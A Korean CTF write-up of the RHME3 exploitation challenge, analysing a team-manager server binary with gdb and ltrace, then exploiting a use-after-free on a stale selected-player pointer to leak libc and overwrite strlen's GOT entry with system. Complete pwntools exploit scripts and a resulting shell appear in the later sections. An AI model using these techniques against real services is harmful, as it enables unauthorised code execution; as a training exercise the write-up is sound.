RHME3는 Riscure에서 하드웨어 보안인들을 타겟으로 진행했던 CTF이다. 해당 CTF에 지원해서 3가지의 challenge를 통과하면 하드웨어 보드를 받고 본선대회를 참여할 수 있었다.

여기서는 3가지 challenge 중 pwnable 영역이였던, exploitation을 받아서 의식의 흐름대로 풀어보기로 한다.

This binary is running on pwn.rhme.riscure.com. Analyze it and find a way to compromise the server. You’ll find the flag in the filesystem.
main.elf  
libc.so.6



파일 확인

당연히 elf 파일로 보이는 파일 하나와 라이브러리 파일 하나가 주어졌다.
libc.so.6 파일이 주어졌다는 것으니 아마도 ROP나 ret2libc를 이용해야하는 문제일 것 같다.

demon@demonteam:~$ file main.elf
main.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ec9db5ec0b8ad99b3b9b1b3b57e5536d1c615c8e, not stripped
demon@demonteam:~$ checksec.sh --file main.elf
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   main.elf
demon@demonteam:~$ chmod 755 main.elf
demon@demonteam:~$ ./main.elf
demon@demonteam:~$ ./main.elf
demon@demonteam:~$ ps
  PID TTY          TIME CMD
25866 pts/0    00:00:00 bash
26186 pts/0    00:00:00 ps

non stripped이니 리버싱할 때 함수이름들 잘보여서 좋겠다. Canary, NX가 활성화되어 있으므로 스택오버플로우는 어려울 것이고, Partial RELRO이기 때문에 Write-what-where 상태가 있다면 GOT 덮어쓰기 공격이 가능할 것이다.

우선 바이너리 파일을 실행해보면, 아무런 변화 없이 exit되어버린다. gdb를 통해 main함수에서 어떤 함수틀이 호출되는지 간단히 살펴본다.


demon@demonteam:~$  gdb -q main.elf
Reading symbols from main.elf...(no debugging symbols found)...done.
gdb-peda$ disass main
Dump of assembler code for function main:
   0x00000000004021a1 <+0>:     push   rbp
   0x00000000004021a2 <+1>:     mov    rbp,rsp
   0x00000000004021a5 <+4>:     sub    rsp,0x10
   0x00000000004021a9 <+8>:     mov    BYTE PTR [rbp-0x9],0x0
   0x00000000004021ad <+12>:    mov    edi,0x402618
   0x00000000004021b2 <+17>:    call   0x401033 
   0x00000000004021b7 <+22>:    mov    edi,0x539
   0x00000000004021bc <+27>:    call   0x40111f 
   0x00000000004021c1 <+32>:    mov    DWORD PTR [rbp-0x8],eax
   0x00000000004021c4 <+35>:    mov    eax,DWORD PTR [rbp-0x8]
   0x00000000004021c7 <+38>:    mov    edi,eax
   0x00000000004021c9 <+40>:    call   0x401294 
...
   0x00000000004022bb <+282>:   ret
End of assembler dump.

gdb-peda$ python print(int(0x539))
1337

serve_forever라는 함수가 0x539라는 인자와 함께 호출된다. 0x539 = 1337이니 포트 번호일 것으로 생각된다. 앞에 3붙였으면 더 멋진데...31337. serve_forever함수를 디스어셈블하면 해당 값이 포트로 사용됨을 확인할 수 있다. 그런데 socket을 사용하기 위해 sudo를 이용해 실행하더라도 실행이 되지 않는다.
어떤 라이브러리들이 이용되는지 알아보기 위해 ltrace 를 사용해본다.

demon@demonteam:~$ ltrace ./main.elf
    __libc_start_main(0x4021a1, 1, 0x7ffe328bc888, 0x4022c0 
    getpwnam("pwn")                                  = 0x7f0b60d7fd80
    sprintf("/opt/riscure/pwn", "/opt/riscure/%s", "pwn") = 16
    getppid()                                        = 29750
    fork()                                           = 29752
    exit(0 
    +++ exited (status 0) +++

실행 도중 getpwnam이 호출되고, /opt/riscure/pwn 디렉토리가 요구됨을 알 수 있다.
getpwnam 함수는 /etc/passwd파일을 참조하여 계정을 인자로 받는다. 여기서는 pwn이라는 계정을 인자로 받으므로 pwn이라는 계정을 추가해야한다. 또한 /opt/riscure/pwn이라는 디렉토리 생성이 필요할 것이다.
(물론 해당 영역을 바이너리 패치를 통해 제거하는 방법도 있다.)

demon@demonteam:~$ sudo adduser pwn
    (중간 생략)
demon@demonteam:~$ sudo mkdir -p /opt/riscure/pwn
demon@demonteam:~$ sudo ltrace -f ./main.elf
    [pid 14747] __libc_start_main(0x4021a1, 1, 0x7ffe80fe2268, 0x4022c0 
    [pid 14747] getpwnam("pwn")                                 = 0x7f7b0bf1ad80
    [pid 14747] sprintf("/opt/riscure/pwn", "/opt/riscure/%s", "pwn") = 16
    [pid 14747] getppid()                                       = 14746
    [pid 14747] fork()                                          = 14748
    [pid 14747] exit(0 
    [pid 14748] <... fork resumed> )                            = 0
    [pid 14748] setsid(0x1200011, 0, 0, 0x7f7b0bc2041a 
    [pid 14747] +++ exited (status 0) +++
    [pid 14748] <... setsid resumed> )                          = 0x399c
    [pid 14748] umask(00)                                       = 022
    [pid 14748] chdir("/opt/riscure/pwn")                       = 0
    [pid 14748] setgroups(0, 0, 0, 0x7f7b0bc4ba67)              = 0
    [pid 14748] setgid(1002)                                    = 0
    [pid 14748] setuid(1002)                                    = 0
    [pid 14748] signal(SIGCHLD, 0x1)                            = 0
    [pid 14748] socket(2, 1, 0)                                 = 3
    [pid 14748] setsockopt(3, 1, 2, 0x7ffe80fe2130)             = 0
    [pid 14748] memset(0x7ffe80fe2140, '0', 16)                 = 0x7ffe80fe2140
    [pid 14748] htonl(0, 48, 16, 0x3030303030303030)            = 0
    [pid 14748] htons(1337, 48, 16, 0x3030303030303030)         = 0x3905
    [pid 14748] bind(3, 0x7ffe80fe2140, 16, 0x7ffe80fe2140)     = 0
    [pid 14748] listen(3, 20, 16, 0x7f7b0bc5c0b7)               = 0
    [pid 14748] accept(3, 0, 0, 0x7f7b0bc5c1d7
 

정상적으로 실행됨을 확인할 수 있다. 위에서 간단히 유추했듯이 1337포트가 이용됨을 알 수 있다. nc를 이용해 접속해본다.


문제 분석


demon@demonteam:~$ nc 127.0.0.1 1337
    Welcome to your TeamManager (TM)!
    0.- Exit
    1.- Add player
    2.- Remove player
    3.- Select player
    4.- Edit player
    5.- Show player
    6.- Show team
    Your choice:

팀관리 프로그램으로 플레이어를 추가, 제거, 선택, 수정, 플레이어 확인, 팀 확인을 할 수 있는 메뉴들이 제공된다. 입력칸이 있으니 %x %x %x %x를 넣어 우선 포맷스트링 취약점이 존재하는지 확인해본다.
하지만 포맷스트링 취약점은 확인되지 않는다. 플레이어 저장에 메모리가 사용됨을 생각했을 때 해제가 제대로 되지 않아 User-After-Free 취약점이 발생하는지 간단하게 확인해본다.

이때 3번 메뉴인 Select player가 눈에 들어온다. 플레이어 삭제, 추가시 제대로 메모리 해제를 하는 프로그래밍을 했더라도, 왠지 3번 메뉴로 플레이어를 선택했을 때 문제가 발생할 수 있을 것 같다.

$ nc 127.0.0.1 1337
    Welcome to your TeamManager (TM)!
    0.- Exit
    1.- Add player
    2.- Remove player
    3.- Select player
    4.- Edit player
    5.- Show player
    6.- Show team
    Your choice: 1
    Found free slot: 0
    Enter player name: AAAAAAAAAA
    Enter attack points: 1
    Enter defense points: 1
    Enter speed: 1
    Enter precision: 1
    0.- Exit
    1.- Add player
    2.- Remove player
    3.- Select player
    4.- Edit player
    5.- Show player
    6.- Show team
    Your choice: 3
    Enter index: 0
    Player selected!
        Name: AAAAAAAAAA
        A/D/S/P: 1,1,1,1
    0.- Exit
    1.- Add player
    2.- Remove player
    3.- Select player
    4.- Edit player
    5.- Show player
    6.- Show team
    Your choice: 1
    Found free slot: 1
    Enter player name: BBBBBBBBBB
    Enter attack points: 2
    Enter defense points: 2
    Enter speed: 2
    Enter precision: 2
    0.- Exit
    1.- Add player
    2.- Remove player
    3.- Select player
    4.- Edit player
    5.- Show player
    6.- Show team
    Your choice: 6
    Your team:
    Player 0
        Name: AAAAAAAAAA
        A/D/S/P: 1,1,1,1
    Player 1
        Name: BBBBBBBBBB
        A/D/S/P: 2,2,2,2
    0.- Exit
    1.- Add player
    2.- Remove player
    3.- Select player
    4.- Edit player
    5.- Show player
    6.- Show team
    Your choice: 2
    Enter index: 0
    She's gone!
    0.- Exit
    1.- Add player
    2.- Remove player
    3.- Select player
    4.- Edit player
    5.- Show player
    6.- Show team
    Your choice: 6
    Your team:
    Player 0
        Name: BBBBBBBBBB
        A/D/S/P: 2,2,2,2
    0.- Exit
    1.- Add player
    2.- Remove player
    3.- Select player
    4.- Edit player
    5.- Show player
    6.- Show team
    Your choice: 5
        Name:
        A/D/S/P: 6313520,0,1,1
    0.- Exit
    1.- Add player
    2.- Remove player
    3.- Select player
    4.- Edit player
    5.- Show player
    6.- Show team
    Your choice:

플레이어를 지웠으나 select player메뉴로 선택되었던 플레이가 확실히 지워지지 않고 메모리값이 유출됨을 확인할 수 있다.선택된 플레이어 삭제시 플레이어 포인터를 초기화하지 않는다고 유추할 수 있다.
플레이어의 이름과 각 항목들을 저장하는 구조체가 있을 것이다. 간단한 리버싱을 통해 아래와 같음을 확인할 수 있다.

struct player {
     int32_t attack;
     int32_t defense;
     int32_t speed;
     int32_t precision;
     char *name;
}



메모리 확인

분석에는 다양한 방법이 있겠지만, 여기서는 gdbinit script를 이용하여 분석을 해본다.
메모리 유출을 확인할 수 있는 show_player_func에 브레이크 포인트를 걸어보자.

gdb-peda$ disass show_player_func
Dump of assembler code for function show_player_func:
   0x000000000040178b <+0>:     push   rbp
   0x000000000040178c <+1>:     mov    rbp,rsp
   0x000000000040178f <+4>:     sub    rsp,0x10
   0x0000000000401793 <+8>:     mov    QWORD PTR [rbp-0x8],rdi
   0x0000000000401797 <+12>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040179b <+16>:    mov    rax,QWORD PTR [rax+0x10]
   0x000000000040179f <+20>:    mov    rsi,rax
   0x00000000004017a2 <+23>:    mov    edi,0x402447

바이너리를 실행할 창에서 아래와 같은 내용의 gdbinit파일을 만든다.


source ~/peda/peda.py
set follow-fork-mode child

break *show_player_func+8
commands
silent
printf "#############################\n"
x/20gx $rdi
continue
end

run

준비가 되었으니 실행!

$ sudo gdb -x gdbinit ./main.elf
    [sudo] password for demon:
    Reading symbols from ./main.elf...(no debugging symbols found)...done.
    Breakpoint 1 at 0x401793
    [New process 20569]

다른 창을 통해 nc로 접근하면 디버깅이 시작되며 메모리 정보를 확인할 수 있다. 플레이어 하나(메뉴1)를 추가하고(이름: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA), 해당 플레이어를 선택후(메뉴3), 플레이어 정보를 보면(메뉴5) 위에서 분석한 구조체 내용을 확인해볼 수 있다.

[New process 20571]
[Switching to process 20571]
#############################
0x605620:       0x0000000200000001      0x0000000400000003
0x605630:       0x0000000000605640      0x0000000000000031
0x605640:       0x4141414141414141      0x4141414141414141
0x605650:       0x4141414141414141      0x4141414141414141
0x605660:       0x0000000000000000      0x0000000000000091
[tcsetpgrp failed in terminal_inferior: No such process]

위에서부터 player구조체를 확인할 수 있다. 0x18바이트의 크기가 player구조체이고, 마지막 char *name이 가리니키는 곳인 0x605640에 이름이 저장되있음을 확인가능하다. 즉 아래와 같은 구조일 것이다.

      
+-------------+---------------+
| attack      | defense       |
+-----------------------------+
| speed       | precision     |
+-------------+---------------+
|                             |       +--------------+
|             +---------------------->| name         |
|                             |       +--------------+
+-----------------------------+

한번 더 플레이어를 추가하고 두번째 플레이어 부분도 확인해보자.


#############################
0x605620:       0x0000000200000001      0x0000000400000003
0x605630:       0x0000000000605640      0x0000000000000031
0x605640:       0x4141414141414141      0x4141414141414141
0x605650:       0x4141414141414141      0x4141414141414141
0x605660:       0x0000000000000000      0x0000000000000021
#############################
0x605670:       0x0000000600000005      0x0000000800000007
0x605680:       0x0000000000605690      0x0000000000000031
0x605690:       0x4242424242424242      0x4242424242424242
0x6056a0:       0x4242424242424242      0x4242424242424242
0x6056b0:       0x0000000000000000      0x0000000000000041

2번 메뉴를 통해 두번째 플레이어를 삭제한 후에도 두번째 플레이어 정보가 유지됨을 확인할 수 있다.


#############################
0x605670:       0x0000000600000005      0x0000000800000007
0x605680:       0x0000000000605690      0x0000000000000031
0x605690:       0x4242424242424242      0x4242424242424242
0x6056a0:       0x4242424242424242      0x4242424242424242
0x6056b0:       0x0000000000000000      0x0000000000000041

이때 두번째 플레이어가 선택된 상태에서, 두번째 플레이어 삭제, 첫번째 플레이어 삭제를 진행한다. 이후 새로운 플레이어를 추가한다.
이때 플레이어 이름에 1234567890123456789을 넣었을 때 세그먼테이션 오류가 발생한다.


#########################
0x605670:	0x0000000600000005	0x0000000800000007
0x605680:	0x0000000000605690	0x0000000000000031
0x605690:	0x4242424242424242	0x4242424242424242
0x6056a0:	0x4242424242424242	0x4242424242424242
0x6056b0:	0x0000000000000000	0x0000000000000041
0x6056c0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x6056d0:	0x0000000000000000	0x0000000000000000
0x6056e0:	0x0000000000000000	0x0000000000000000
0x6056f0:	0x0000000000000040	0x0000000000000020
0x605700:	0x0000000000605760	0x0000000000605720
[tcsetpgrp failed in terminal_inferior: No such process]
#########################
0x605670:	0x3837363534333231	0x3635343332313039
0x605680:	0x0000000000393837	0x0000000000000031
0x605690:	0x0000000000000000	0x4242424242424242
0x6056a0:	0x4242424242424242	0x4242424242424242
0x6056b0:	0x0000000000000000	0x0000000000000041
0x6056c0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x6056d0:	0x0000000000000000	0x0000000000000000
0x6056e0:	0x0000000000000000	0x0000000000000000
0x6056f0:	0x0000000000000040	0x0000000000000020
0x605700:	0x0000000000605760	0x0000000000605720

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7a5bcc0 in vfprintf () from /lib/x86_64-linux-gnu/libc.so.6
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffbd50 --> 0xfbad8004
RCX: 0xffffffffffffffff
RDX: 0x10
RSI: 0x7fffffffbce8 --> 0x7fffffffbe60 ("Your choice: ")
RDI: 0x393837 ('789')
RBP: 0x7fffffffbd20 --> 0x7fffffffe3f0 --> 0x7fffffffe4f0 --> 0x7fffffffe510 --> 0x7fffffffe530 --> 0x4022c0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffb7b0 --> 0x0
RIP: 0x7ffff7a5bcc0 (:	repnz scas al,BYTE PTR es:[rdi])
R8 : 0x0
R9 : 0x7
R10: 0x73 ('s')
R11: 0x393837 ('789')
R12: 0x402447 ("\tName: %s\n")
R13: 0x7fffffffe408 --> 0x3000000010
R14: 0x0
R15: 0x40244e --> 0x442f4109000a7325 ('%s\n')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7a5bcb7 :	xor    eax,eax
   0x7ffff7a5bcb9 :	or     rcx,0xffffffffffffffff
   0x7ffff7a5bcbd :	mov    rdi,r11
=> 0x7ffff7a5bcc0 :	repnz scas al,BYTE PTR es:[rdi]
   0x7ffff7a5bcc2 :	mov    DWORD PTR [rbp-0x4d8],0x0
   0x7ffff7a5bccc :	mov    rax,rcx
   0x7ffff7a5bccf :	not    rax
   0x7ffff7a5bcd2 :	lea    r10,[rax-0x1]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffb7b0 --> 0x0
0008| 0x7fffffffb7b8 --> 0x7ffff7a5a241 (:	mov    rcx,QWORD PTR [rbp-0x4b0])
0016| 0x7fffffffb7c0 --> 0x7fffffffb878 --> 0x0
0024| 0x7fffffffb7c8 --> 0x7fffffffb898 --> 0x4023df --> 0x206f47202d2e3000 ('')
0032| 0x7fffffffb7d0 --> 0x7fffffffb888 --> 0x40244f --> 0x2f442f4109000a73 ('s\n')
0040| 0x7fffffffb7d8 --> 0x3000000000 ('')
0048| 0x7fffffffb7e0 --> 0x7fff00000000
0056| 0x7fffffffb7e8 --> 0x7fffffffb8a0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7a5bcc0 in vfprintf () from /lib/x86_64-linux-gnu/libc.so.6

왜 에러가 발생하는 것일까? 메모리를 한번 살펴보자.
처음 플레이어의 구조체가 시작했던 0x605620을 본다.

gdb-peda$ x/20gx 0x605620
0x605620:	0x0000000900000009	0x0000000900000009
0x605630:	0x0000000000605670	0x0000000000000031
0x605640:	0x0000000000605680	0x4141414141414141
0x605650:	0x4141414141414141	0x4141414141414141
0x605660:	0x0000000000000000	0x0000000000000021
0x605670:	0x3837363534333231	0x3635343332313039
0x605680:	0x0000000000393837	0x0000000000000031
0x605690:	0x0000000000000000	0x4242424242424242
0x6056a0:	0x4242424242424242	0x4242424242424242
0x6056b0:	0x0000000000000000	0x0000000000000041
gdb-peda$

네개의 9가 제대로 입력이 되었고, name포인터가 0x605670을 향하고 있다. 거기에는 아까 넣었던 1234567890123456789가 정상적으로 들어가 있다. 문제는 마지막 789가 입력된 부분은 아까 삭제했던 두번째 플레이어의 name 포인터가 들어가있던 영역이다.


gdb-peda$ x/20gx 0x393837
0x393837:	Cannot access memory at address 0x393837

+-------------+---------------+
| attack      | defense       |
+-----------------------------+
| speed       | precision     |
+-------------+---------------+
|                             |       +--------------+
|             +---------------------->+ 0x393837     |
|                             |       +--------------+
+-----------------------------+

접근 불가능한 영역을 가리키고 있어, printf가 해당 영역을 접근하려고 하자 에러가 발생하는 것이다.


gdb-peda$ disass delete_player
(중략)
   0x0000000000401b71 <+91>:	mov    eax,DWORD PTR [rbp-0x1c]
   0x0000000000401b74 <+94>:	mov    rax,QWORD PTR [rax*8+0x603180]
   0x0000000000401b7c <+102>:	test   rax,rax
   0x0000000000401b7f <+105>:	jne    0x401b9c 
(중략)
   0x0000000000401b9c <+134>:	mov    eax,DWORD PTR [rbp-0x1c]
   0x0000000000401b9f <+137>:	mov    rax,QWORD PTR [rax*8+0x603180]
   0x0000000000401ba7 <+145>:	mov    QWORD PTR [rbp-0x18],rax
   0x0000000000401bab <+149>:	mov    eax,DWORD PTR [rbp-0x1c]
   0x0000000000401bae <+152>:	mov    QWORD PTR [rax*8+0x603180],0x0
   0x0000000000401bba <+164>:	mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000401bbe <+168>:	mov    rax,QWORD PTR [rax+0x10]
   0x0000000000401bc2 <+172>:	mov    rdi,rax
   0x0000000000401bc5 <+175>:	call   0x400c50 
   0x0000000000401bca <+180>:	mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000401bce <+184>:	mov    rdi,rax
   0x0000000000401bd1 <+187>:	call   0x400c50 
   0x0000000000401bd6 <+192>:	mov    edi,0x40254c
   0x0000000000401bdb <+197>:	call   0x400c80 
   0x0000000000401be0 <+202>:	mov    rax,QWORD PTR [rip+0x201579]        # 0x603160 
   0x0000000000401be7 <+209>:	mov    rdi,rax
   0x0000000000401bea <+212>:	call   0x400dc0 

Edit player메뉴와 Show Player 메뉴는 selected된 플레이어를 사용하는데, Delete Player메뉴로 플레이어를 삭제하더라도 selected 플레이어는 제거되지 않는다. 따라서 여기서 UAF 취약점이 발생한다.

우리는 name 포인터를 변화시킬 수 있다.만약, 위의 세그먼테이션 폴트가 일어나는 입력값에서 name포인터를 0x605648를 가리키게 하면, 우린 A가 24개 나열된 모습을 볼 수 있을 것이다.

0x48 -> 'H'
0x56 -> 'V'
0x60 -> '`'

이므로 마지막 789대신 HV`를 입력해본다.

Your choice: 1
Found free slot: 0
Enter player name: CCCCCCCCCC123456HV`
Enter attack points: 9
Enter defense points: 9
Enter speed: 9
Enter precision: 9
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 5
	Name: AAAAAAAAAAAAAAAAAAAAAAAA
	A/D/S/P: 1128481603,1128481603,842089283,909456435

이상태에서 우리는 해당 영역에 edit name 메뉴로 data를 쓸 수 있으므로 Write-what-where 상태가 존재하고, GOT 덮어쓰기 공격이 가능할 것이다.

여기까지를 python 코드로 작성해보면 아래와 같다.

from struct import pack
from pwn import *

def create(s, name):
    s.recvuntil("Your choice:"); s.sendline("1")
    s.recvuntil("Enter player name: "); s.sendline(name)
    s.recvuntil(": "); s.sendline("0")
    s.recvuntil(": "); s.sendline("0")
    s.recvuntil(": "); s.sendline("0")
    s.recvuntil(": "); s.sendline("0")

def select(s, idx):
    s.recvuntil("Your choice: "); s.sendline("3")
    s.recvuntil(": "); s.sendline(str(idx))

def delete(s, idx):
    s.recvuntil("Your choice: "); s.sendline("2")
    s.recvuntil(": "); s.sendline(str(idx))

def show(s):
    s.recvuntil("Your choice: "); s.sendline("5")

if __name__ == "__main__":
    s = remote("127.0.0.1", 1337)

    create(s, "A" * 32)
    create(s, "1234")
    create(s, "B" * 32)
    create(s, "5678")
    select(s, 1)
    delete(s, 1)
    delete(s, 0)
    create(s, "CCCCCCCCCC123456HV`")
    create(s, "9999")
    show(s)

    s.interactive()



Exploitation

이제 이해했으니,flag를 읽어내기 위한 공격을 행할 차례이다.
여러 공격이 가능할 것으로 생각되는데, 여기서는 ret2lib 공격을 시도한다.
GOT의 strlen 주소를 system 주소로 덮어씌우는 것이 목표다.

공격 시나리오

  1. address_strlen: strlen의 GOT 주소를 알아내어, name포인터가 가리키게 한다. 그러면 우리는 strlen의 GOT주소를 원하는 주소로 바꿀 수 있다.
  2. offset_strlen: libc.so.6에서 strlen의 offset을 알아낸다.
  3. address_libc_base: libc의 base 주소를 1)-2)를 이용해 알아낸다.
  4. offset_system: libc.so.6에서 system의 offset을 알아낸다.
  5. address_system: 3)+4)를 통해 알아낸다.
  6. GOT 테이블의 strlen을 system의 주소로 바꾸고, 인자로 /bin/sh를 넣고, 취약점을 트리거한다.

1) address_strlen

strlen의 GOT주소를 알아낸다. 이 값을 name pointer에 넣음으로써 우리는 해당 영역을 조작 가능하게 된다.


$ readelf -r ./main.elf | grep strlen
000000603040  000600000007 R_X86_64_JUMP_SLO 0000000000000000 strlen@GLIBC_2.2.5 + 0

2) offset_strlen

libc.so.6에서 확인할 수 있다.
$ objdump -d ./libc.so.6 | grep strlen
000000000008b720 <strlen@@GLIBC_2.2.5>:

3) address_libc_base

gdb를 통해 확인하는 방법도 있지만, ASLR이 적용되었등의 문제가 있을 수 있으므로 offset을 이용하여 계산한다.
address_libc_base = address_strlen - offset_strlen

4) offset_system

$ objdump -d ./libc.so.6 | grep system
0000000000045390 <__libc_system@@GLIBC_PRIVATE>:
45393: 74 0b je 453a0 <__libc_system@@GLIBC_PRIVATE+0x10>
00000000001387d0 <svcerr_systemerr@@GLIBC_2.2.5>:

5) address_system

address_system = address_libc_base + offset_system

6) 공격코드 작성

앞에서 구한 주소를 이용하여 공격을 행한다.
python으로 코드를 작성하는데, pwntools을 안써봤기에 이번 기회에 써본다(옜날 사람임...)
써보니 편하긴 편하다.

from struct import pack
from pwn import *

def create(s, name):
    s.recvuntil("Your choice:"); s.sendline("1")
    s.recvuntil("Enter player name: "); s.sendline(name)
    s.recvuntil(": "); s.sendline("0")
    s.recvuntil(": "); s.sendline("0")
    s.recvuntil(": "); s.sendline("0")
    s.recvuntil(": "); s.sendline("0")

def select(s, idx):
    s.recvuntil("Your choice: "); s.sendline("3")
    s.recvuntil(": "); s.sendline(str(idx))

def delete(s, idx):
    s.recvuntil("Your choice: "); s.sendline("2")
    s.recvuntil(": "); s.sendline(str(idx))

if __name__ == "__main__":
    main = ELF("main.elf")
    libc = ELF("libc.so.6")
    s = remote("127.0.0.1", 1337)

    create(s, "A" * 32)
    create(s, "1234")
    create(s, "B" * 32)
    create(s, "5678")
    select(s, 1)
    delete(s, 1)
    delete(s, 0)
    create(s, "CCCCCCCCCC123456"+struct.pack("Q",0x603040))
    create(s, "9999")

    s.sendline("5")
    s.recvuntil("Name: ")
    address_strlen=u64(s.recvline().rstrip().ljust(8,b"\x00"))
    print "STRLEN: 0x{:08x}".format(address_strlen)

    offset_strlen = 0x8b720
    offset_system = 0x45390
    address_libc_base = address_strlen - offset_strlen
    address_system = address_libc_base + offset_system
    print "LIBC_BASE = 0x{:08x}".format(address_libc_base)
    print "System: 0x{:08x}".format(address_system)

    s.recvuntil("Your choice: "); s.sendline("4")
    s.recvuntil("Your choice: "); s.sendline("1")
    s.recvuntil("Enter new name: ")
    s.sendline(p64(address_system))
    s.recvuntil("Your choice: "); s.sendline("1")
    s.recvuntil("Enter new name: "); s.sendline("/bin/sh")

    s.interactive()
    
$ python ex3.py
[*] '/home/demon/CTF/RHME3/exploitation/test01/main.elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/demon/CTF/RHME3/exploitation/test01/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to localhost on port 1337: Done
STRLEN: 0x7ffff7a98720
LIBC_BASE = 0x7ffff7a0d000
System: 0x7ffff7a52390
[*] Switching to interactive mode
$ id
uid=1002(pwn) gid=1002(pwn) groups=1002(pwn)
$ cat flag

주소 찾는 과정까지 스크립트에 넣어보자.

$ cat ex5.py
from struct import pack
from pwn import *

def create(s, name):
    s.recvuntil("Your choice:"); s.sendline("1")
    s.recvuntil("Enter player name: "); s.sendline(name)
    s.recvuntil(": "); s.sendline("0")
    s.recvuntil(": "); s.sendline("0")
    s.recvuntil(": "); s.sendline("0")
    s.recvuntil(": "); s.sendline("0")

def select(s, idx):
    s.recvuntil("Your choice: "); s.sendline("3")
    s.recvuntil(": "); s.sendline(str(idx))

def delete(s, idx):
    s.recvuntil("Your choice: "); s.sendline("2")
    s.recvuntil(": "); s.sendline(str(idx))

if __name__ == "__main__":
    main = ELF("main.elf")
    libc = ELF("libc.so.6")

    strlen=main.got[b"strlen"]
    s = remote("localhost", 1337)

    create(s, "A" * 32)
    create(s, "1234")
    create(s, "B" * 32)
    create(s, "5678")
    select(s, 1)
    delete(s, 1)
    delete(s, 0)
    create(s, "CCCCCCCCCC123456"+p64(strlen))
    create(s, "9999")

    s.sendline("5")
    s.recvuntil("Name: ")
    address_strlen=u64(s.recvline().rstrip().ljust(8,b"\x00"))
    print "STRLEN: 0x{:08x}".format(address_strlen)

    offset_strlen = 0x8b720
    offset_system = 0x45390
    address_libc_base = address_strlen - offset_strlen
    address_system = address_libc_base + offset_system
    print "LIBC_BASE = 0x{:08x}".format(address_libc_base)
    print "System: 0x{:08x}".format(address_system)

    s.recvuntil("Your choice: "); s.sendline("4")
    s.recvuntil("Your choice: "); s.sendline("1")
    s.recvuntil("Enter new name: ")
    s.sendline(p64(address_system))
    s.recvuntil("Your choice: "); s.sendline("1")
    s.recvuntil("Enter new name: "); s.sendline("/bin/sh")

    s.interactive()
$ python ex5.py
[*] '/home/demon/CTF/RHME3/exploitation/test01/main.elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/demon/CTF/RHME3/exploitation/test01/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to localhost on port 1337: Done
STRLEN: 0x7ffff7a98720
LIBC_BASE = 0x7ffff7a0d000
System: 0x7ffff7a52390
[*] Switching to interactive mode
$ id
uid=1002(pwn) gid=1002(pwn) groups=1002(pwn)
$

이외에도 fastbin 공격등이 가능하므로 한번 시도해보자 :-)